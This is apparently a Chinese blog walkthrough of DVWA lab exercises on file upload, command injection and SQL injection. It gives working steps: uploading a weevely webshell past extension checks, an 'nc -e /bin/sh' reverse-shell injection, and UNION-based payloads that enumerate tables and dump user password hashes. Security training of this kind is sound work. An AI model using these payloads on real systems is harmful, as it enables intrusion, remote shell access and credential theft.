vlambda博客
学习文章列表

DVWA(文件上传与SQL注入)


文件上传漏洞

ag:一网站存在文件上传漏洞,对上传的类型不进行分析,导致hack上传.php的文件,成功get shell。

low级别

1、root@kali:~# weevely generate 123456 /root/shell.php #使用weevely工具生成一个shell.php文件,密码为123456,并且保持到/root下。

2、把shell.php上传到网站,并且获取图片最终存放的路径

3、root@kali:~# weevely http://192.168.1.144/dvwa/hackable/uploads/shell.php 123456 #使用weevely连接到目标路径,并且输入密码,成功get shell



medium级别

1、在中安全级别下,不是.jpg文件不允许上传,先把生成的shell.php文件改为shell.jpg,打开bp代理,上传shell.jpg,再按照下面把shell.jpg改为shell2.php进行上传。

DVWA(文件上传与SQL注入)

2、再通过下面代码成功获取shell

 root@kali:~/weevely# weevely http://192.168.1.144/dvwa/hackable/uploads/shell2.php 123456
 
 [+] weevely 3.7.0
 
 [+] Target:192.168.1.144
 [+] Session:/root/.weevely/sessions/192.168.1.144/shell2_0.session
 
 [+] Browse the filesystem or execute commands starts the connection
 [+] to the target. Type :help for more information.
 
 weevely> id
 [-][channel] The remote script execution triggers an error 500, check script and payload integrity
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 [email protected]:/var/www/dvwa/hackable/uploads $

high级别

1、在高安全级别下,不是.jpg文件不允许上传(包括bp修改后的后缀,不是.jpg也不允许上传),先把生成的shell.php文件改为shell.jpg,打开bp代理,上传外壳文件shell.jpg,再按照下面把shell.jpg改为shell2.php.jpg进行上传。

DVWA(文件上传与SQL注入)

2、通过下面代码成功getshell

 root@kali:~/weevely# weevely http://192.168.1.144/dvwa/hackable/uploads/shell.php.jpg 123456
 
 [+] weevely 3.7.0
 
 [+] Target:192.168.1.144
 [+] Session:/root/.weevely/sessions/192.168.1.144/shell.php_0.session
 
 [+] Browse the filesystem or execute commands starts the connection
 [+] to the target. Type :help for more information.
 
 weevely> id
 [-][channel] The remote script execution triggers an error 500, check script and payload integrity
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 [email protected]:/var/www/dvwa/hackable/uploads $

文件上传漏洞修复建议

1、不允许用户上传可执行文件,包括(.php,.exe,.etc.....)

2、查看文件的类型是否符合要求,并且查看他的扩展名

3、不仅仅通过判断文件的后缀名来放行,更加要通过判断其真正是图像类型文件才放行


代码执行:

 ping 192.168.1.144;pwd   #执行ping命令和pwd命令
 ping 192.168.1.144 | pwd #执行pwd命令
 nc -vv -l -p 8080 #监听8080端口,
 192.168.1.144;nc -e /bin/sh 192.168.1.144 8080

nc参数信息与基本用法:

nc基本格式:nc [-options] hostname port [ports] ... nc -l -p port [options] [hostname] [port]


SQL注入:

 select * from accounts where username = 'kobe' and password='123456' and 1=1 #'  #执行查询语句,用户名为kobe,密码为123456并且1=1,能成功登录。
 123456' and 1=1 # #在密码框输入,'是闭合要求,与查询语句的'形成闭合
 
 select * from accounts where username = 'kobe' and password='123456' and 1=2 #' #执行查询语句,用户名为kobe,密码为123456并且1=2,不能成功登录。
 123456' and 1=2 # #在密码框输入
 
 select * from accounts where username = 'admin' and password='aaa' or 1=1 #' #执行查询语句,用户名为admin,密码为aaa,或者1=1,意思是当其中一条件正确时,整个语句都正确,从而实现不用正确密码成功登录。
 aaa' or 1=1 # #同样在密码框输入
 
 select * from accounts where username = 'admin'#' and password='aaa' #执行语句,当用户名为admin时,注释后面的密码部分,即是密码可以随便取,也能正常登录。
 admin'# #用户端输入
 


在登录界面处正常输入用户名和错误的密码,用BP对数据进行捕获,然后对捕获的数据进行修改,从而达到绕过密码登录。

DVWA(文件上传与SQL注入)

order by与union select:


 order by是mysql中对查询数据进行排序的方法, 使用示例
 select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
 select * from 表名 order by 列名(或者数字) desc;降序
 这里的重点在于order by后既可以填列名或者是一个数字。举个例子:id是user表的第一列的列名,那么如果想根据id来排序,有两种写法
 
 select * from user order by id;
 selecr * from user order by 1;
 
 select * from accounts where username = 'admin' order by 1#' and password = '$PASSWORD' #执行查询语句,查询表accounts里的第一列名,通过改变id‘1’的值,来确定有多少列,确定了之后进行联合查询,
 
 ag:确定表有5列,并且2,4,5这3个数字在页面输出,把要查询的信息代替这3个数字,如下
 union select 1,database(),3,user(),version()
 
 union select 1,table_name,3,null,null from information_schema.tables
 #查询默认数据库里的所有表名
 
 union select 1,table_name,3,null,null from information_schema.tables where table_schema = 'owsp10'
 #只查询数据库owsp10里的表名,如输出,accounts表等。
 
 union select 1,column_name,3,null,null from information_schema.columns where table_name = 'accounts'
 #执行查询默认库里表accounts的所有列名,如输出,username、password、cid等等。
 
 union select 1,username,3,password,cid from accounts
 #执行查询accounts列里的username和password等数据
 
 

DVWA(sql注入)

low级别

 当输入1=1和1=2的回显不一样时,证明存在布尔类型
 ?id=1' and 1=1 --+&Submit=Submit#
 ?id=1' and 1=2 --+&Submit=Submit#
 
 尝试用order by对表名进行排序,当order by为1时,页面能正常回显,说明存在一列或者多列表,再用其他数进行测试,得到的表的列数数量为2
 ?id=1' order by 1 --+&Submit=Submit#
 ?id=1' order by 2 --+&Submit=Submit#
 
 得到表的列数之后,用联合查询对列进行枚举,输出2列的内容
 ?id=1' union select 1,2 --+&Submit=Submit#
 
 同样,可以用其他的查询语句对1,2进行替换,进而去查询我们需要的内容,如下查询默认数据库中所有的表名
 ?id=1' union select table_name,2 from information_schema.tables --+&Submit=Submit#
 
 下面进行的方法“order by与union select”的一样,
 ?id=1' union select column_name,2 from information_schema.columns where table_name = 'users' --+&Submit=Submit#
 

medium级别

先判断是字符型注入还是数字型,通过报错信息可以知道报错没有包含1,证明【‘】前面都是正确的,说明是数字型注入,那我们后面就不需要【'】来闭合url。

DVWA(文件上传与SQL注入)

用BP的Decoder模块对dvwa进行16进制的转换,不仅能转16进制,还能转url字符。0x是16进制的格式,然后把64767761添加到后面。

DVWA(文件上传与SQL注入)

 
 查询数据库dvwa存在的所有表名
 ?id=1 union select table_name,2 from information_schema.tables where table_schema = 'dvwa' --+ &Submit=Submit#
 
 但是出现了以下的报错:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'dvwa\' --' at line 1
 
 说明在中安全级别下,源代码对引号做了限制,所以我们想办法用什么东西去代替引号,又不影响查询,我想到了用BP把dvwa转为16进制再写入url,这就不会触发网页的引号警报。具体url如下:
 ?id=1 union select table_name,2 from information_schema.tables where table_schema = 0x64767761 --+ &Submit=Submit#
 
 

成功获取来自dvwa数据库的表名

DVWA(文件上传与SQL注入)

 得到用户的表名users之后,查询表里有多少条字段,并且输出
 ?id=1 union select column_name,2 from information_schema.columns where table_name = 0x7573657273 --+ &Submit=Submit#

DVWA(文件上传与SQL注入)

对user表的密码和用户名进行查询,再用cmd5进行解密。
?id=1 union select password,user from users --+ &Submit=Submit#